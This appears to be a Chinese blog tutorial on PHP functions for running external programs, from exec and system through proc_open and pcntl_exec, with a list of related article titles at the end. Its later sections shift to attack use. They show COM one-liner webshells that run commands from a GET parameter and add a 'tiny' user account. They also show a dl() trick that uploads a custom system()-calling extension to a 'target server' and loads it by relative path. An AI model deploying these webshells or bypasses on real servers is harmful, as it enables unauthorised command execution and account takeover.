很多情况下需要php调用其他程序如shell命令、shell脚本、可执行程序等等,此时需要使用到诸如exec/system/popen/proc_open等函数,每种函数有各自适合使用的场景以及需要注意的地方。

前提:PHP没有运行在安全模式
如果PHP运行在安全模式下,那么在执行外部命令、打开文件、连接数据库、基于HTTP的认证这4个方面将会受到制约,可能在调用外部程序时无法获取预期的结果,此时需要设置特定目录,可以在php.ini中编辑safe_mode_exec_dir参数来指定。

1. exec
原型:string exec ( string command [, array &output [, int &return_var]] ) 
描述:返回值保存最后的输出结果,而所有输出结果将会保存到$output数组,$return_var用来保存命令执行的状态码(用来检测成功或失败)。 
例子:$ret = exec("ls -al", $output, $var); 
注意: 
A. 输出结果会逐行追加到$output中,因此在调用exec之前需要unset($output),特别是循环调用的时候。
B. 如果想通过exec调用外部程序后马上继续执行后续代码,仅仅在命令里加"&"是不够的,此时exec依然会等待命令执行完毕;需要再将标准输出做重定向才可以,例如:exec("ls -al >/dev/null &", $output, $var); 
C. 要学会善用EscapeShellCmd()和EscapeShellArg()。函数EscapeShellCmd把一个字符串 中所有可能瞒过Shell而去执行另外一个命令的字符转义。这些字符在Shell中是有特殊含义的,象分号(|),重定向(>)和从文件读入 (<)等。函数EscapeShellArg是用来处理命令的参数的。它在给定的字符串两边加上单引号,并把字符串中的单引号转义,这样这个字符串 就可以安全地作为命令的参数。

2. system
原型:string system ( string command [, int &return_var] ) 
描述:执行给定的命令,返回最后的输出结果;第二个参数是可选的,用来得到命令执行后的状态码。 
例子:$ret = system("ls -al", $var); 
注意:略。

3. passthru
原型:void passthru (string command [, int return_var]) 
描述:执行给定的命令,但不返回任何输出结果,而是直接输出到显示设备上;第二个参数可选,用来得到命令执行后的状态码。 
例子:passthru("ls -al", $var); 
注意:略。

4. popen
原型:resource popen ( string command, string mode ) 
描述:打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。 返回一个和 fopen() 所返回的相同的文件指针,只不过它是单向的(只能用于读或写)并且必须用 pclose() 来关闭。此指针可以用于 fgets(),fgetss() 和 fwrite()。  
例子:$fd = popen("command", 'r'); $ret = fgets($fd); 
注意:只能打开单向管道,不是'r'就是'w';并且需要使用pclose()来关闭。

5. proc_open
原型:resource proc_open ( string cmd, array descriptorspec, array &pipes [, string cwd [, array env [, array other_options]]] ) 
描述:与popen类似,但是可以提供双向管道。具体的参数读者可以自己翻阅资料,比如该博客:http://hi.baidu.com/alex_wang58/blog/item/a28657de16fec55195ee372a.html。 
注意: 
A. 后面需要使用proc_close()关闭资源,并且如果是pipe类型,需要用pclose()关闭句柄。 
B. proc_open打开的程序作为php的子进程,php退出后该子进程也会退出。 
C.  笔者在使用的时候遇到获取外部程序输出阻塞的问题,也就是在例子中的fgets($pipes[1])语句阻塞了,无法继续进行。经过多方查证后发现,问题一般出在外部程序中,比如外部程序是C程序,使用fprintf(stdin, "**** \n");输出结果,此时需要加上fflush(stdout);才行,否则输出结果可能会暂留缓存中,无法真正输出,而php也就无法获取输出了。 
例子:

 // /< 打开管道 
 $pwd   =   " ***** " ;
 $pipes   =   array ();
 $command   =   " ***** " ;
 $desc   =   array ( array ( ' pipe ' ,   ' r ' ) ,   array ( ' pipe ' ,   ' w ' ) ,   array ( ' pipe ' ,   ' w ' ));
 $handle   =   proc_open ( $command ,   $desc ,   $pipes ,   $pwd );
 if  ( ! is_resource ( $handle )) {
     fprintf (STDERR ,   " proc_open failed.\n " );
     exit ( 1 );
}
 // /< 读写 
 fwrite ( $pipes [ 0 ] ,   " *****\n " );
 $ret   =   rtrim ( fgets ( $pipes [ 1 ]) ,   " \n " );
 // /< 关闭管道 
 fclose ( $pipes [ 0 ]);
 fclose ( $pipes [ 1 ]);
 fclose ( $pipes [ 2 ]);
 proc_close ( $handle );

6. shell_exec

原型:string shell_exec ( string $cmd )
描述:cmd:要执行的命令    返回值:命令执行的输出。 如果执行过程中发生错误或者进程不产生输出,则返回 NULL。
例子:

<?phpecho shell_exec('pwd');?>

执行结果:/var/www/html

7. 反撇号`

描述:shell_exec() 函数实际上仅是反撇号 (`) 操作符的变体

例子:

<?phpecho `pwd`;?>

执行结果: /var/www/html

8.cntl_exec

原型:void pcntl_exec ( string $path [, array $args [, array $envs ]] )
描述:(PHP 4 >= 4.2.0, PHP 5, PHP 7)
pcntl_exec — 在当前进程空间执行以给定参数执行指定程序。
pcntl是linux下的一个扩展,可以支持php的多线程操作。
参数:
path: 必须是可执行二进制文件路径或一个在文件第一行指定了一个可执行文件路径
标头的脚本(比如文件第一行是#!/usr/local/bin/perl的perl脚本)。 更多的
信息请查看您系统的execve(2)手册。
args: 一个要传递给程序的参数的字符串数组。
envs: 一个要传递给程序作为环境变量的字符串数组。这个数组是 key => value格
式的,key代表要传递的环境变量的名称,value代表该环境变量值。
返回值:当发生错误时返回 FALSE ,没有错误时没有返回。

9. COM组建(针对windwos环境下使用com组建)

原型: 
Wscript.Shell->exec(command) // 
Shell.Application->ShellExecute(appName,appArgs,appPath) // 
Shell.Application->open(appPath) //要填写程序绝对路径,并且应该没有办法加参数 
Shell.Application->NameSpace("C:\Windows\System32")->Items()->item("cmd.exe")->invokeverb() 
Shell.Application->NameSpace("C:\Windows\System32")->Items()->item("cmd.exe")->invokeverbEx() 
描述:在windwos下,并且在php中开启com组建扩展之后可以使用这种方法(打开方式自行百度) 
彻底的解决方案是 直接删除System32目录下wshom.ocx文件 
例子:

<?php$phpwsh=new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!");$exec=$phpwsh->exec("cmd.exe /c ".$_GET['c']."");$stdout = $exec->StdOut();$stroutput = $stdout->ReadAll();echo $stroutput;?><?php$phpwsh=new COM("Shell.Application") or die("Create Wscript.Shell Failed!");$exec=$phpwsh->ShellExecute("net"," user tiny tiny /add");//$exec=$phpwsh->ShellExecute("cmd","/c net user tiny tiny /add");?><?php$phpwsh=new COM("Shell.Application") or die("Create Wscript.Shell Failed!");$exec=$phpwsh->open("c:\\windows\\system32\\cmd.exe");?><?php$a=new COM("Shell.Application");$a->NameSpace("C:\Windows\System32")->Items()->item("cmd.exe")->invokeverb();?><?php$a=new COM("Shell.Application");$a->NameSpace("C:\Windows\System32")->Items()->item("cmd.exe")->invokeverbEx();?>

10.  dl()

要求:php没有开启安全模式,并且enable_dl选项为on,并且php版本支持dl函数 
(在 PHP 5.3 里,此函数被某些 SAPI 移除了,也就是没有这个函数?) 
说明:extension_dir选项可以指定扩展模块的目录,但是我们可以使用相对路径的方式绕过 
原理:自己编写扩展,然后使用dl加载此扩展。 
举例(linux): 
准备工作: 
自行上网下载apache和相近版本的php源码,按照apache和php的官方文档进行安装。 
我们主要需要三个文件:phpize,php-config和ext_skel:在正确安装好了apache和php之后, 
phpize和php-config将被安装(可以自行find),而ext_skel则是是在php源码中的ext目录中。 
ext_skel是php源码包中的用来帮助制作扩展的程序。 
1)转到php-x.x.xx/ext中首先新建xxx.skel文件,里面填写要制作的扩展中的函数原型,例如: 
string exec(string str) 
2)执行命令:./ext_skel --extname=tinymin --proto=xxx.skel 之后便生成了tinymin目录, 
里面则是扩展所需要的文件 
3)cd tinymin 
4)vi config.m4  
将 config.m4文件里面 
dnl PHP_ARG_WITH(myext, for myext support, 
dnl Make sure that the comment is aligned: 
dnl [ --with-myext Include myext support]) 
修改成 
PHP_ARG_WITH(myext, for myext support, 
[ --with-myext Include myext support]) 
5)vi tinymin.c 
将PHP_FUNCTION(exec)后面的大括号里面的代码的最后一行删除,并写上自己的代码,修改后如:PHP_FUNCTION(haha) 

char *str = NULL; 
int argc = ZEND_NUM_ARGS(); 
int str_len;

if (zend_parse_parameters(argc TSRMLS_CC, "s", &str, &str_len) == FAILURE)  
return;

return system(str); 

6)找到phpize:find / -name "phpize" 然后运行一下phpize: 
/my_lamp/php/bin/phpize 
7) 同样方式找到php-config,然后运行configure: 
./configure --with-php-config=/my_lamp/php/bin/php-config 
8)make&&make install  
之后便在自己的php扩展目录中生成了扩展tinymin.so 
在目标服务器上面上传tinymin.so(不一定要在它的php扩展目录中,因为可以使用相对路径) 
用法例如: 
<?php 
dl("../../../../../tmp/tinymin.so"); 
echo exec($_GET['cmd']); 
?> 
这种方法也很老了,我在自己的的kali2上面尝试这样做的时候提示没有dl这个函数,具体原因参见php manual
windows上应该也是一样的原理。不过没有试过

11.  内核变量

网址:http://www.freebuf.com/articles/web/82801.html

PHP调用外部程序的方法相关推荐

  1. PHP调用外部程序的方法解析

    很多情况下需要php调用其他程序如shell命令.shell脚本.可执行程序等等,此时需要使用到诸如exec/system/popen/proc_open等函数,每种函数有各自适合使用的场景以及需要注 ...

  2. php+方法返回多个参数,PHP中调用外部程序,及其参数与返回值

    用了一下午,终于弄明白了如何在PHP代码中调用外部程序. 在PHP中调用外部程序主要有两个函数,system和exec. system的原型为string system(string command ...

  3. Delphi调用外部程序的集中方法

    Delphi调用外部程序 WinExec主要运行EXE文件.如:WinExec('Notepad.exe Readme.txt', SW_SHOW); WinExec(   lpCmdLine: LP ...

  4. 在Word中调用外部程序两法

    你有没有想过,在编辑Word文档的时候,直接从Word中调用外部程序呢?其实这并不难,下面笔者就以在Word中调用计算器程序为例,简述具体的操作方法. 一.利用宏命令 1.点击"工具→宏&q ...

  5. php 运行外部程序_PHP实现执行外部程序的方法详解

    这篇文章主要介绍了PHP实现执行外部程序的方法,结合实例形式分析了php执行外部程序的常用函数相关使用技巧与注意事项,需要的朋友可以参考下 本文实例讲述了PHP实现执行外部程序的方法.分享给大家供大家 ...

  6. java的外部引用_Java 调用外部程序

    在Java中可以调用外部程序,这需要通过Process等类来实现. 创建进程 先来介绍一下Process的创建,我们需要使用ProcessBuilder类.如果需要命令行参数的话,则传入多个参数.比方 ...

  7. python调用外部程序 退出_2019-09-09 python调用外部程序

    1.wget--用于下载:ffmpeg--多媒体处理(音频,视频):free 2.调用外部程序两种方法: os.system:(标准库中的非内置库)=Windows下的命令行 例如: import o ...

  8. java魔法堂_Java魔法堂:调用外部程序

    前言 Java虽然五脏俱全但总有软肋,譬如获取CPU等硬件信息,当然我们可以通过JNI调用C/C++来获取,但对于对C/C++和Windows API不熟的码农是一系列复杂的学习和踩坑过程.那能不能通 ...

  9. mysql udf编译_MySql UDF 调用外部程序和系统命令

    1.mysql利用mysqludf的一个mysql插件可以实现调用外部程序和系统命令 2.安装说明: 2.1查询mysql插件路径: 在mysql里查询mysql插件目录的路径:show variab ...

最新文章

  1. miui通知栏要点两下_MIUI免费主题分享,半透明通知栏很好看,另附壁纸!
  2. 单帧风景照变延时摄影,分分钟搞定,还能有昼夜变化,这是来自日本的开源动画景观算法...
  3. 如何在Atomic主机上远程使用 Docker
  4. 单臂路由的过程模拟和数据分析
  5. nyoj 420(快速幂)
  6. python rm 条件_删除文件 (rm)
  7. 面试官问我:如何解决ABA问题?我给出接近满分的回答
  8. Java:可选的可选实现
  9. 【2010】asp.net GridView分页的实现
  10. 程序员面试被问到“三次握手,四次挥手”怎么办?
  11. php使用jasperreport,用PHP访问JasperReport | 学步园
  12. 使用CSVDE批量创建和修改域用户
  13. Linux下的C程序如何调用系统命令,并获取系统的输出信息到C程序中
  14. 视频中的外挂字幕、硬字幕、软字幕定义的区别
  15. html5怎么设置年月日选择框,HTML5文件选择框(各种类型)
  16. Java是什么?Java能干什么工作?
  17. Excel的序列号转换的算法
  18. linux系统电视播放格式,OpenPCTV--支持电视的 Linux
  19. android主线程报ANR的问题!
  20. jquery强大的选择器--jq选择器大全

热门文章

  1. 仿微信9宫格群组头像
  2. python中*args 和 **kwargs区别
  3. 目前常用的医疗心电图数据集
  4. Indesign 2022最新功能简介 原生M1 专业的排版设计软件InDesign 2022 for Mac
  5. GPS实时定位、获取基站信息
  6. 大屏幕服务器无信号,关于思讯互动平台大屏幕使用过程中错误的排查
  7. LeetCode in Python-14. Longest Common Prefix 最长公共前缀
  8. 小白到运维工程师自学之路 第三十九集 (LVS架构)
  9. 软件测试周刊(第45期):一个人不该过分自省,这会使他变得软弱。
  10. 【转】零基础理解卷积神经网络